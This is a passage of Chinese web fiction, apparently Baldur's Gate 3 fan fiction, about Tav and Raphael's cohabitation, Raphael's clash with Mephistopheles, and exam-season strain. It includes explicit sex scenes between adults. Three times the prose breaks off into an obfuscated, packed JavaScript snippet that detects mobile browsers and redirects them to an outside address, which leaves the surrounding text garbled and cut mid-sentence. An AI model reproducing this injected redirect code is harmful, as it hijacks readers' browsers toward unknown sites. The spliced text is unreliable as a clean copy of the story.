二楼一共两间卧室,塔夫和拉斐尔一起睡主卧,副卧则变成二人的衣帽间。不过整齐叠挂的衣服大多是拉斐尔的,因为塔夫的衣服……都直接堆在床上。 “你是打算让它们成为我们的合租室友吗?”拉斐尔终于看不过眼。 “不需要帮我叠!我很快就会穿的,而且这样找起来更方便。”塔夫振振有词,“反正这张床也没人睡。” 拉斐尔反问:“那楼下沙发上的那些呢?” 塔夫:“那些是穿过一次的。我还是很讲究的。” 拉斐尔:“?” 塔夫:“总不能让我把穿过的衣服也一起扔到床上吧。” 拉斐尔:“……” 第一回合,塔夫胜。(暂时) ——拼厨艺。 虽然塔夫对食物的喜好精确到细节,但她其实没有那么挑剔或刻板。正相反,她喜欢尝试新做法,寻找新可能,比如把水煮蛋的蛋黄挖出来后拌花生酱,再重新塞回蛋白里并用生菜仔细包几层后切成片,最后夹在贝果里做成三明治。 “营养均衡。”她勉强评价,“还很顶饿。” 拉斐尔在她的威逼利诱下皱眉尝试一口,意外道:“居然还挺好吃的,你是怎么想出来这么天才的做法。” 塔夫:“你真的不是在讽刺我吗?” 拉斐尔熟练地掌握了这一菜谱,还把花生酱随机更换成其他的蛋黄酱、番茄酱、甚至房东矮人婆婆亲手做的果酱,每次都吃得很开心。 塔夫“……” 第二回合,拉斐尔胜。(暂时) ——家居布置。 拉斐尔偏好简洁但接受范围广,塔夫这方面没什么偏好,于是两人一拍即合,只是一起换上拉斐尔带来的丝绸床具,并立刻好好体验了一把。 第三回合,房东矮人婆婆胜?(长期) ——收拾打扫。 塔夫对拉斐尔每次洗完澡不彻底擦干头发就到处乱跑很有怨言,第好几次对他说:“不仅仅是地板,连床都被你弄湿了!还要收拾!” 拉斐尔说自己头发短,根本没有那么多水。又反击卧室里到处都能找到她的头发,她大概每天要掉几百根。 “我没有吧。”塔夫为自己的发量辩护,“只是因为我头发长,所以才显得多而已。”然而她真的担心起来,“我最近好像确实掉了很多,扎起来的时候辫子都变细了。” 拉斐尔抱着她安慰说他刚才只是夸张,头发湿漉漉地蹭在她脸颊,并在她开口前同样湿漉漉地吻住她,手顺着她身体曲线向下温柔又娴熟地抚摸,揽住她的腰紧紧贴向自己身体接着拽过她的腿环住自己。很快,他的嘴唇在她肌肤上游走起来。等塔夫回过神来发现自己小腹也被他蹭了一头水的时候,只能夹住拉斐尔的头再揪紧他的头发了。 做到后来拉斐尔头发彻底自然干,他事后清理换床单的时候还很洋洋得意:“这可不都是我头发上的水。” 塔夫:“……” 第四回合,算两人都胜!(长期) 诸如此类。 . 拉斐尔提出可以请一位男仆或女仆,负责打扫清理洗叠衣服收拾餐具,不过那样一来,支出就会远远超出二人(主要是塔夫的)预算。 而且,虽然不免有些小摩擦,塔夫还挺乐在其中。除了新鲜,也正如拉斐尔所说的,有争执,才有和好的机会嘛! 拉斐尔一挑眉,立刻身体力行地同她“和好”。 导致塔夫睡觉的时候再次腰酸,觉得两人最近做得实在有点太多了。 . 另一方面,塔夫的夏季实习顺利开始,内蒂医师对她关照有佳,她也熟悉了许多流程。 就是说服拉斐尔不需要每天接送花了点功夫,而那时她已经实习近一个月。 “我是去下城区,而你需要去上城区。”塔夫又一次道,“我们方向完全相反。”最后两人都各退一步, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774142|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早上她自己去,拉斐尔晚上接她一起回来。 而因为她需要实习,拉斐尔这个夏天自然没有任何旅游计划。除了接手更多家族和领地事务包括社交活动,他还打算亲自处理自己名下基金会的捐款,甚至包括查看感谢回执和撰写回信,这些大多在上城区。 “我对毕业典礼时父亲的安排完全不知情。”拉斐尔说起那件事仍有些狐疑。 塔夫想了想,终于还是告诉拉斐尔最高奖面试的细节。虽然已经过去两个多月,她仍记得梅菲斯特当时的话,以及自己对他的临场发挥,最后说: “也许是偏见,但我其实怀疑他这么做也是为了讽刺我。”她说着又有些好笑,“虽然我不知道哪里被讽刺。毕竟我可是也拿到了信封。” 她当天就已经把其中一张支票匿名捐给了屋顶上的猫,另一张则小心保存好,留作纪念。不知为什么惹得拉斐尔很是感动,她佯装生气到真的想要生气了,才让他打消送礼物的想法。 拉斐尔沉默得有些久:“也许这是一个游戏,为了证明他是对的。” “证明什么?几百万金币只是为了玩一个游戏?” “我的猜测罢了。”拉斐尔摇摇头,却没有解释的意思。 塔夫想了想又问:“你父亲经常这么做吗?” “偶尔。”拉斐尔似乎不想再继续这个话题,甚至没有如往常一样依依不舍很久,与她亲吻道别后离开。 . 去内蒂医师的路上,塔夫一个人思索,慢慢形成一个想法。 梅菲斯特的“游戏”大概更像是一个社会实验,看看到底会有多少人把这“慷慨与善意传递下去”,而这也是讽刺她“不切实际”而又“不负责任”的“勇敢”。 他似乎肯定她能够意识到这一点,并且会希望拉斐尔站在她这一边。因此他干脆要求以拉斐尔的名义捐赠,根据感谢回执的情况直接将结果展现给她看,以此证明传递善意不过是她天真的白日做梦。 无论结果如何,卡尼亚家族和拉斐尔都能得到一个好名声。 至于她,除了耗费心力去苦恼思索梅菲斯特的举动,还可能在发现世界的“真理”后变得灰心丧气? 塔夫不由得已经有些气馁,却不仅仅是为可能的捐赠结果,还有梅菲斯特这种不上不下、不温不火的态度。他明显不喜欢自己,却又没有任何反对。她很顺利地获得最高奖,也仍与拉斐尔在一起。 想到这里塔夫一怔,梅菲斯特的不反对,正是拉斐尔为两人关系争取到的“最好进展”。 如果这么说,梅菲斯特其实仍然是反对拉斐尔和她交往的,但只能间接做点什么。那他这样做的目的,是认为她灰心丧气之后会与拉斐尔分手? 这又是为什么? 是因为她对拉斐尔失去信心,还是拉斐尔会因此失去对她的兴趣和喜爱? 被掀过去的一页重新翻回到她面前,塔夫忽然一阵抓心挠肝。 难道去年夏天发生的事也是梅菲斯特与拉斐尔的一个什么游戏? 她似乎再次身处游戏之中,却也又一次被排除在外。 不安慢慢升级成不快,接着发酵成一种不满甚至恐惧。塔夫以为自己不会介意——过去一年她也的确如此——但现在却无法控制地想要问拉斐尔: 他和父亲到底约定了什么? 他又因为什么爱上她? 如果她改变了,不再拥有当初吸引他的特质…… 他还会爱她吗? . 115.和平 拉斐尔在梅菲斯特动身去往领地前,及时赶回上城区。 “你在计划什么?”他直接闯入父亲书房,“毕业典礼上的捐赠是怎么一回事?” 梅菲斯特正摘下眼镜:“如果你无法对你的父亲表示感激,也至少维持应有的礼貌。” “感激?” “因为我,你已经得到一个慷慨好施的好名声,拉斐尔。”梅菲斯特语速很慢,像是极为失望需要向他解释这件如此明显的事。 拉斐尔在他念自己名字时便不耐烦地打断:“塔夫告诉了我她最高奖面试时的经过。” “她居然忍耐到现在,而不是面试结束就对你哭诉。”梅菲斯特站起身,低头收起几封信,“难怪我们父子之间的小小游戏能够持续至今。” “而这也意味着你仍不能反对我和塔夫的关系。” “我并没有反对,不是吗?”梅菲斯特审视拉斐尔片刻,“看来你的确是刚知道这件事,便没有任何准备地直接同我对峙?”他不认同地摇摇头, “不过这倒让我一个疑问,你决定亲自处理捐款回执的原因是什么?” “因为我了解‘你’。”拉斐尔冷哼,不自觉中用上父亲的口吻。 “呵。既然如此,”梅菲斯特却似乎已经失去兴趣,“你这次来又是为了什么?” 拉斐尔一下顿住。而梅菲斯特毫无等待的打算,走到他身边:“你知道我接下来的行程。”他在拉斐尔肩膀上轻轻拍了下,通知管家准备离开。 “我回来是为了取母亲的订婚戒指。”拉斐尔望着父亲的背影忽然说。 梅菲斯特微微侧过头:“不。你不是。” “祝你一路顺风,父亲。”拉斐尔弯起唇,“我会记得给你寄婚礼请帖的。” “别表现得像个赌气的孩子,拉斐尔。”梅菲斯特终于叹口气,转过身, “你应当清楚,恋爱和婚姻不是一回事。婚姻的基础永远是合作,而不是爱情。她不适合你,也不适合家族。” 他的声音低沉柔和下来,“我理解你现在对她的迷恋,她的确……有过人之处。如果你一时不愿意放手,结婚后,可以让她继续做你的情人。” 拉斐尔喉咙里发出一声威胁:“对塔夫放尊重点。” “如果你不被情欲所困,找到一位真正适合你和家族的妻子,相信我,她一定不会介意你有一个或几个情人。” “那你为什么娶母亲而不是让她做你的情人?” 梅菲斯特微微眯了眯眼睛。 “母亲也并不是贵族。”拉斐尔又道。 梅菲斯特轻声说:“而你知道你母亲的后果。” “塔夫和母亲不一样,我们的游戏也证明了这一点。”拉斐尔语气肯定起来, “她有自己的追求,不会因为一段关系或陷入爱情就失去她原本的模样。说不定我还排在她的梦想之后。”他说着忍不住轻笑一声, “她没有因为我‘不能说’的秘密就对我失去信任或者感到不安,更没有歇斯底里一定要问个清楚。 “至于我,我和你也不一样。母亲因为你变得郁郁寡欢,而我不会做令塔夫难过的事。” “你太过天真,拉斐尔。”梅菲斯特示意管家推迟出发时间,关上门,转身对他道, “现在,先坐下。” 拉斐尔笑着哼一声,正要继续反驳,梅菲斯特双瞳一瞬变成金色,声音也带上金属之意: “坐。下。” 拉斐尔终于还是坐下,梅菲斯特却沉默很久,这才缓缓开口: “你在契约能力上很有天赋,拉斐尔,哪怕你是混血,我也始终对你抱有期望。” 拉斐尔第一次被父亲如此直接地褒奖,一时不由讶异,无法回答。 “这件事本应在正式确认你的继承人身份后告知,但你能够轻松维持两份契约,持续时间超过一年,期间还有余力使用真实之镜。别这么惊讶,我当然知道。” 梅菲斯特嘴角明显向下一撇,低声念了几句炼狱语,房间里仿佛忽然被水银充满。 “在可以预见的未来,不会有其他更有力的挑战者出现。 “因此我决定提前告诉你,关于魔鬼与神明的‘和平条约’。” …… 拉斐尔沉默地望着梅菲斯特,不发一言。 或许存在有意误导,但父亲不会在这种事情上说谎。毕竟他也直接承认,虽然九狱与费伦大陆位面融汇时,和平条约消弭了一场对双方而言都会极为残酷的战争。然而除了费伦主神和九狱之主阿斯蒙蒂斯,现今没有人知道条约具体都写了什么。 尽管如此,他听到的内容也令他感到意外。 他一向熟知的棋手与棋子、幕后与台上之论,让他始终将自己视作俯瞰全局的人——或者至少是如此要求自己的。 而实际上,他既不能做棋手,也不能做棋子。 他只能做一位旁观者。 “虽然九狱已经不复存在,魔鬼将永远身处费伦,却仍无法对主位面直接施加影响。我们拥有九狱中积累的巨大财富,却不能训练自己的士兵。”梅菲斯特轻嗤一声, “小儿抱金于闹市的下场,你小时候便从《不幸的故事》中读到过。” 不过阿斯蒙蒂斯自然不会让祂的子民陷入如此被动和凄惨的境地,魔鬼们继承了契约的力量,可以操纵其他人为他们所用,但代价不再是对方的灵魂,也被施加了更多“公平”的要求。 对于同一个人,魔鬼一生只能和TA签订一份契约。 游戏可以玩很多次,但形式和范围都有更多限制。 而在魔鬼与其他种族普遍通婚后,哪怕是这契约的力量也渐渐变得罕有起来。如今,只有当初几位魔鬼大公的家族仍完整掌握其中的秘密。也许是因为太多近亲遗传,纯血魔鬼的能力也愈发不稳定,维持一份契约数月便已经能够称得上是天赋。 尽管如此,原本是对魔鬼施加的种种限制,千百年来通过一代代贵族的努力,被包装成高贵优雅的品德,又成为费伦整个上流社会的准则。 保持中立。变成了古老家族老谋深算的政治智慧。 如果真的不得不被卷入战争,他们也向来站在维护敦促秩序、甚至奔走呼吁和平的一方,为人称赞。 不允许直接参与商业活动。反而鼓励家族成立基金和信托,规避分散了风险。 不能拥有一份具体的用来维持生计的职业。这更是成为贵族最低限度的体面。 …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14779570|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以上要求的唯一例外是在划归给魔鬼、也即是魔鬼贵族所直接拥有的领地上。至于试图挑战“和平条约”的魔鬼,众神很乐意将他们的财富与土地收缴再奖赏给自己的信徒。 “最初有九位大公以及更多拥有贵族头衔的魔鬼,至今家族已不足二十,大公更是仅剩三位。”梅菲斯特盯着拉斐尔, “且这要求与限制并不仅仅是对魔鬼,而是对家族中的每一个人。” 他的语气似乎是惋惜,不过在拉斐尔听来更像是图穷匕见: “你的母亲,当初放弃了成为一名考古学家的愿望。 “虽然那更像是她父母对她的期待——她并不喜欢野外工作也始终感到压力——但那还是变成她无法实现的执念和心魔,令她长期陷入低落。” “塔夫。”梅菲斯特第一次念出塔夫的名字,这让拉斐尔瞬间警惕起来, “她的个性更加强烈。你应该可以想象到后果。” . 拉斐尔忍不住有些可怜起父亲。 虽然他常常有意或无意地提及母亲令自己屈服,但他也始终无法逃出母亲去世的影响。 自己不过指责一句母亲因为他变得不幸,他便和盘托出,更直接坦诚自己便是家族未来的继承人,拔去了能够威胁到自己的利爪和尖牙。 即使父亲的目的是说服自己放弃与塔夫结婚,原因却是这会令她步入母亲后尘? 拉斐尔心里已经转过几个方法,绝对不会令塔夫需要放弃梦想或者感到失望。 这并不困难,毕竟家族拥有远超普通人想象的财富。 拉斐尔看向梅菲斯特,恍惚发觉也许父亲和自己一样。他当初一定也深爱着母亲,或许还受到过同样的阻力。 父亲失败了,但自己不会。 思及此处,拉斐尔表情柔和了些,问梅菲斯特:“你后悔过与母亲结婚吗?” 梅菲斯特面色一沉:“我知道你想要暗示什么。这并没有帮助,拉斐尔。” 拉斐尔忍不住嗤笑一声,对父亲的那点可怜消失了:“那你认为母亲后悔过吗?” 梅菲斯特眯起眼睛,一字一顿地说:“滚。出。去。” . 拉斐尔嘴角噙着得意离开。 哈勒普进入书房,思索片刻,像是有些不忍地说:“拉斐尔母亲已经过世十几年。” 梅菲斯特轻哼一声。 但对于拉斐尔来说,她仍是最好用也是最趁手的武器。 拉斐尔也太过天真,听到这一切的第一反应居然是温情脉脉甚至罗曼蒂克的想法。简直令人失望。他是该学到点教训了。 至于拉斐尔喜欢的那个女子。 见过一面之后,他理解对方为什么能够吸引拉斐尔。只不过,所有的人类特质都是一体两面。一个人的魅力之处在不同情境之下也会变成极大的弱点和缺陷。 善良的人敏感焦虑,坚定的人固执己见,独立的人冷漠无情,自由的人无法稳定。 强硬的反对只会令两人拥抱得更紧,那便让他们自己主动分手。 梅菲斯特斜哈勒普一眼,慢慢露出一个微笑: “尽管如此,大公夫人仍在发挥着她的作用。” . 116.身份 “塔夫医生,我爸爸真的会来接我吗?” “当然。”塔夫摸摸小女孩的头发,“他很快就会来了。” 话音未落,诊所门被推开,走入一个逆光的人影。 “爸爸!”小女孩飞扑过去,却被压住脑袋,短胳膊拼命向前伸着,始终无法抱住面前那人。 “拉斐尔。”塔夫忍不住笑着摇摇头,走到二人身旁。 “不是爸爸……”小女孩也意识到认错人,又羞又窘,嘴巴一扁,转身抱住塔夫。 “别哭。”拉斐尔冷冷说。 小女孩已经在嘴边的嚎啕被憋了回去。 塔夫无奈:“你吓她干什么呀。她才……” “她看上去可不小了。不是孩子。”拉斐尔把小女孩提到一旁,令她乖乖坐好,接着他换成自己上前,想要拥抱塔夫却被她一把推开。 小女孩一直认真瞧着拉斐尔,见他被推开,甜甜地冲他笑着说:“叔叔坐我这里!我已经七岁啦!塔夫医生刚才说我爸爸会来。你是替我爸爸来接我的吗?” 塔夫:……你你你,小小年纪就见色忘医! 拉斐尔:叔叔? . “对不住对不住,码头临时靠港一艘驳船,想多做一班活,结果比预计中花了更久。” 小女孩被向二人不停道歉的年轻人接走后,塔夫和拉斐尔也很快离开诊所。 拉斐尔终于还是成功拥抱塔夫,又紧紧握住她的手。 塔夫工作一天,早上的些许不安已经被充实取代,不过回去的路上,她还是告诉拉斐尔自己的思索。 当她询问起去年夏天之事时,拉斐尔明显一怔。塔夫便解释说:“并不是要翻旧账。只是如果情况有变,你已经可以告诉我的话,我也的确会感到好奇。” “暂时仍没有变化。”拉斐尔忽然微笑起来,“但以后我一定能够告诉你。” “你这样说,反而让我更好奇了!”塔夫忍不住在他手上捏了捏,又讲起自己对梅菲斯特的一番猜测: “有意思的是,他这样做反而更加坚定了我的想法。我想要传递我曾经受到过的善意,又不是因为我希望大部分人会这样做,只是因为我自己想要这么做。他越是讥讽我,我越是要证明给他看他才是错的,我一定会做到我那时的一番话。” “我相信你。”拉斐尔眼里带着骄傲的神色。 “不过另一方面,刚才你也看到了。”塔夫微笑起来, “听到小女孩叫我医生,我陪着她直到她被父亲接走,感觉还挺……温馨的。哪怕我没能完成最终的那个大目标,这些小事已经让我觉得很满足,说不定更满足,好像又不需要向你父亲再证明什么了。” 拉斐尔却怔愣片刻,忽然单手紧紧环住她。 塔夫顺势靠在他身上:“你今天过得怎么样?” 拉斐尔清下嗓子,笑着讲述在基金会遇到的趣事:“有更多毕业生捐款。其中一个捐赠的对象是,费伦迁徙鸟类的粪便管理协会。” “哈哈!感觉背后会有一个什么故事。” …… 夏天的日子充实平缓地向前滑过。 除了实习,塔夫还与拉斐尔利用周末,走遍了博德之门的每一处地标建筑。 其中拉斐尔曾提到的魔法杂货铺,她兴致勃勃地拖着他逛了好几次,专为参观某个据说是一比一还原的钢铁构造体模型。 当然还有一起尝试不同的餐厅和酒馆——昂贵的和便宜的都有。 偶尔去剧院看剧——除了经典剧目,他们也看了一场有些古怪的实验剧,和一出相当不错的沉浸剧。 影心安顿下来后,塔夫还每隔一周同她约一次。 …… 唯一一件让塔夫感到有些意外甚至不自在的事,发生在提起梅菲斯特的同一天晚上。 也许是因为拉斐尔(差一点)被小女孩抱住叫爸爸,他最后推得很深,双臂牢牢固定住她,颤抖的那一刻几乎无限延长,喷涌也似乎无穷无尽。虽然他很快便爱怜地亲吻她安慰她,但当粘稠随着他的慢慢退出流到丝绸上时,塔夫还是感到一丝莫名的惊慌,仿佛有什么她不知道的变化正悄悄发生。 好在清理后,她与拉斐尔相拥而卧,气氛重新回到她熟悉的舒缓坦率。 她记不太清两人具体聊了些什么,也许是从她对某对始终在争吵的夫妻的评论引入的这个话题,只清楚记得拉斐尔声音格外低沉磁性甚至充满蛊惑地问她: “你对婚姻的期待是什么?” 塔夫一下睁大眼睛,拉斐尔望着她一会,微笑又问:“有没有想过将来什么时候结婚?” 看上去并没有任何求婚或者想要马上结婚的意思,只是问问她的看法。塔夫松一口气,诚实答:“没想过。至少未来四年都不会考虑,或者说没办法考虑。” “从医学院毕业以后呢?” “……看情况再说。” 塔夫觉得这回答太过简单,边想边说: “不知道为什么,我感觉婚姻好像也是一种‘证明’,证明一段感情成功了。 “至于要证明给谁看,或者成功在什么地方,我也说不准。是成功在感情更稳固吗?可婚姻又不是终点,结婚了也可能会分开。而且我觉得两个人之间感情到底好不好、稳不稳固是不需要证明的,所以婚姻更像是一种形式而不是必需。” 她觉得话不能说太死,最后又补充一句,“不过也许我以后的想法会发生改变。” 拉斐尔轻轻嗯了一声,塔夫问:“你呢?” “我会期待更传统的模式,一家人,彼此称呼丈夫和妻子。” 塔夫微微皱眉:“如果我们已经每天在一起的话,称呼什么的,还是更像是形式的转变。” “我同意你所说的,感情本身和每天的相处很重要。”拉斐尔顿了下,“但婚姻是一种更正式和公开的承诺,也许如你所说这是一种形式,不过我更想用象征这个词。象征我们彼此都坚定地选择和对方一起面对未来发生的事。虽然未来是不确定的,但彼此的陪伴和支持是确定而又可靠的。” 塔夫沉默片刻,慢慢依偎在拉斐尔怀里:“你这样一说好像还挺吸引人的。” 拉斐尔在她头发上吻了吻:“不是为了形式,而是为了我们。” “为我们。”塔夫又轻笑出声,“不过,我申请用未来四年的时间来严肃地思考这个问题。” 拉斐尔似乎叹了口气,紧紧抱住她。 . 塔夫很清楚这次讨论并没有结束,而且恰恰相反,这只是一个开始。 不过她没有想到,类似的话题会在后来各种不同时刻以不同形式重新出现,且往往是在她感到低落或者疲惫,所以最敏感也最容易往坏处想的时候。 无论是经济上,还是身份上,甚至只是想要得到安慰,仿佛同拉斐尔结婚就是能够解决一切问题的答案。 经济上也许还好说,结婚后就不需要再分得那样清楚。可是身份上…… 塔夫再次感到一阵无力。 医学院正式开学的那一天,拉斐尔同她一起参加了白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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对方脸色果然沉了下去,说话也更加尖刻起来:“你既然已经傍上拉斐尔,为什么却还占着奖学金和生活津贴,明明有人比你更需要。” “因为费伦最高奖是择优,是对我能力和潜力的认可,也是我通过公平竞争得到的。”塔夫继续挖苦,“你面试时不会也被问过类似的问题吧,凭你这种反问,难怪你落选。” “谁知道拉斐尔在背后帮了你多少忙!” 不等塔夫有机会讽刺“傍”拉斐尔这件事,男生已经扔下最后一句话,撞门而去。 * “你没有让拉斐尔帮忙?”影心问,“或者跟他说?” 塔夫忍不住猛地喝了一大口酒:“法学院课程也很重。” 尤其拉斐尔与她一起住在博德之门,每天往返已经足够疲惫。 她那次气极了,心里迁怒拉斐尔甚至觉得这全都是他的错,连晚上洗澡的时候都在酝酿情绪,最后带着大吵一架的准备和他提起。 拉斐尔在床上等她一起睡,迷迷糊糊地抱住她回答说,他很幸福她是他的女朋友,也很幸运他能够是她的男朋友,以及,他爱她。她心里立刻柔软下去,甚至连拉斐尔那天又没擦头发也没生气。 塔夫又喝一口,对影心补充说:“而且这并不是他的错。因为他的家庭背景,他的很多努力其实也都被忽视了,比如我就一直很为他的自控力和计划性感到佩服和骄傲。” 影心挑眉微笑看着她,没说话。 塔夫脸微微发烫,觉得自己大概真的有些醉意:“说了太多我的事。你最近怎么样?” . 117.消失 塔夫第一次无比期待着期末的到来。 她可以用优秀的成绩让很多人重新认识自己,也能让一些讨厌的人闭上嘴。 多重原因下,塔夫始终保持着兴奋和紧张的高昂情绪。 但医学院课程繁重,她的不少同学通过家庭关系或朋友关系,大学最后一年甚至高中毕业之后,就已经通过影子、见习和实习熟悉医院环境,潜移默化地掌握了许多知识。同那些学生相比,她的准备只是刚刚够用而已。 如果想要脱颖而出——有的时候塔夫会突然一阵恐慌地想,也许只是为了跟上平均水平——除了课上和课后,甚至是周末,她也需要花大量时间学习。 然而拉斐尔却并没有和往常一样全力支持她、为她的努力感到骄傲。 那是个周六。因为经期和不舒服,两人前后两周多没做。第三周,塔夫第三次拒绝和拉斐尔亲热后,他表达了不满。 开始的时候其实并不是争吵。 她在书房学习,拉斐尔站在她身后,双手一直在她脖子和肩膀上按摩着,力道、轻重甚至连温度都很舒服,语气也很关心: “你最近是不是有些太累了,长时间伏案学习也不动一下,肩膀都能看出来僵硬。” 塔夫眼睛盯着书,正因为最后一整节的预习内容完全搞不明白有些焦头烂额,随便哼哼几句:“是有点累。但也没办法。” 按摩很快多了些情欲的意味。拉斐尔手指开始在她耳朵上打转,嘴唇也贴了上来:“今晚想要休息或者放松一下吗?之后效率可能会更高。”他在她耳边呵气,“时间可以短一点。半个小时?” 塔夫身子酥麻,思路被打断,心情更加烦躁,推了拉斐尔一下:“我没办法放松!这次期末对我很重要!” 拉斐尔慢慢站直,手仍搭在她肩膀捏着,但语气里多了几分不快:“今天是周末,塔夫,而你是在预习。就算是复习的时候有哪里搞不懂,也不至于一周连半个小时都分不出来给男友吧。”他又自嘲道, “不只是这一周,是这一个月来,我都简直像是在和书本笔记羽毛笔一起竞争你的时间。” 塔夫有些内疚和为难,但有也点被冒犯到了:“我可是医学生。”她扁扁嘴,“现在搞不懂的这些内容,也许以后事关生死呢!” “生死?”拉斐尔被她逗笑了,重新环住她吻了吻,“我不认为你需要一下上升到这种高度。” “你就不能理解我一下吗?”塔夫被那声轻笑轰地点燃了,向前一弯腰,把八爪鱼拉斐尔从背上甩开,“我正在努力学习!我已经很累了!你别再让我分心了!” “我理解。”拉斐尔重新站直,“我一直在理解!不过我们在一起这么久,我扮演的角色还是让你分心?”他直接走到桌子对面,要塔夫看着他, “而且我也很累,但我想和你亲近,我希望我们能够有更多时间在一起,否则我们同居的意义又在哪里?” “你和我同居就只是为了做这个?” “你知道这不是我的意思!不过想要和同居女友亲密难道是什么不合理的要求吗?” “当然,很合理,我们这就去做。”塔夫把羽毛笔拍在桌上,一下站起身,“这下你满意了吗?那做完之后你可以不要再打扰我学习了吗?!” “塔夫!我从来没有想要这样要求你!”拉斐尔的声音明显是被刺痛了,“我只是觉得我成了你的旁观者!甚至连最开始的陌生人都不如!” 他转身直接从书房离开,带上门时已经恢复镇定,语气平静道:“希望没有我的打扰,你接下来的预习会更加顺利。” 平静个鬼! 他明显是在阴阳怪气! 塔夫知道自己刚才的话——至少是态度——有点过,但被拉斐尔这么一激,又拉不下脸去道歉。坐下来喘了好几口气,决定还是重新学习,等两人都冷静一点之后再说。 结果刚才这么一生气,大概是郁结抒发,脑子居然变得通畅了,托拉斐尔的“祝福”,她的预习还真的更加顺利。 塔夫心情转好,兴冲冲学习起来,等反应过来一看时间,才意识到不知不觉已经很晚。她连忙赶上楼,却发现拉斐尔没等她就先躺到床上装睡,而且又没擦头发! 从浴室到床边,再到被子上和枕头上,全都是水!特别多!完全不是正常头发能拧出来的水量! 在用这种方式报复或者挑起吵架吗?真幼稚!还得收拾!她学习已经很花时间了好吗! 塔夫哼一声,不想理睬拉斐尔,匆匆洗完澡简单收拾,回到床边却忍不住盯着他的脸瞧。 真好看。五官英俊深邃,皮肤柔软光洁。 神态安稳,呼吸悠长,睡得很熟。 居然!真的!睡着了?! 塔夫越看越恼火,恨不得把拉斐尔拽起来吵一架,胸口起伏几次,最后一气之下自己跑到客房,在床上的一大堆衣服里勉强推出一片净土,也不管床单最后一次是什么时候换洗的,钻进被子里也睡了过去。 . 已经渐渐进入冬季,天黑得早亮得晚。 因此塔夫被拉斐尔拱醒的时候说不准时间,只看到外面是黑的,而自己觉得没睡够。见她醒来,拉斐尔抱得更紧,一边亲吻她一边低声道歉。呼吸滚烫地落在她嘴唇和脸颊,却让她整个身子跟着慢慢热了起来,朦胧中抱住拉斐尔在他颈侧吻了吻。 那是两人和好的信号。 拉斐尔也开始亲吻她的脖子,手跟着探进睡衣里,掌心温度比她的皮肤还烫,几乎有些急切地抚摸着,又很快熟练地揉捏挤压拉扯。塔夫还有些迷糊,身体已经准备好迎接他,轻轻低喘起来。 或许是好几周没做的缘故,这次拉斐尔进入时存在感格外强烈,浪潮上涌得很快,让塔夫有种自己消失不见的错觉。 其实两人每一次做,她都会经历这种“自我消融”,有时连续数回,甚至一波未平一波又起地重叠。她也一向很享受其中,然而这次和以往不太一样。她似乎仍在那里,但拉斐尔比她高大,比她强壮,能够轻而易举地把她彻底覆笼,牢牢压住。她只能藏在他身体的阴影里,努力让自己不要真的消失。 可拉斐尔又是那么诚挚热烈。窗外开始发白,塔夫越来越能够看清他的眉眼,也能看清他眼中的自己。那是她。她一直在那里。他头发变得有些湿意,像是洗澡后没有擦干,从额头渗出一滴汗,滑过他的眼睛 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虽然气氛隐隐有些紧绷,但他们仍相互说着“早安”,“一切顺利”,“回见”,“晚安”,“我爱你”,又像是充满默契地、不约而同地等待着某个时刻的到来。 . 期末终于结束了。 不需要更多言语,当天晚上两人便“重归于好”。拉斐尔似乎想要把过去几周的缺失全部弥补回来,塔夫最后不得不求饶说今晚先睡吧还有明天,拉斐尔却一副明天是明天,今晚是今晚,明天该做的当然要做,今晚却也不能少的架势。 这直接导致,塔夫考完试的那两天比考试之前和考试当天还要累。 某次中场休息的时候,她带着满足长长叹一口气,顺便做了一个非常充分的拉伸,接着有些无奈地看到拉斐尔望着她眨眨眼睛,喉结上下动了动,又一次挺立起来。 “你都不会累的吗?”塔夫朝旁边翻了个身,下巴枕在枕头上装作没看见。 拉斐尔的回答是嘴唇贴向她肩膀又亲吻她后背,手指沿脊柱美好曲线一直滑向仍湿润的入口。另一个回答却是:她真的应该多锻炼锻炼了。等过了这个新年之后,他会带她一起。 塔夫有点慌,连忙为自己辩护:“会感到疲倦是正常反应!你也看过《淑妮四步》!而我的次数可是比你要多好多好多!” 结果反而让拉斐尔更兴奋了:“你真厉害。塔夫最厉害了。” 塔夫:“……”那你倒是别那么一脸得意的样子啊! 她舒服又得意地哼哼起来。 . 厉害的塔夫也成功取得学院最优异的成绩。 然而期望中的扬眉吐气却很短暂,她甚至没有多松一口气。 寒假她打算回农场,而拉斐尔新年有重要社交活动,并且希望她能够同他一起。 “我接下来几个夏天都会有实习。”塔夫再次感到为难,“冬天假期是我唯一能够见到妈妈和姐姐的机会。” “三天。”拉斐尔说,“只是新年最重要的那三天。” . 118.强势 除了见妈妈和姐姐,塔夫自然还有另一个原因。 她不是很喜欢拉斐尔的“社交活动”,也记不住那许多面孔和名字。 虽然自医学院以来她便没有再参加过一回,但这反而让她更加打怵——完全没有适应和准备,就要参加“最重要”的三天。 拉斐尔则仍在一旁劝说计划道: “三天后,我骑狮鹫送你回去。回来时也一样。路上节省下来的时间,你和妈妈姐姐能够相处得更久。” 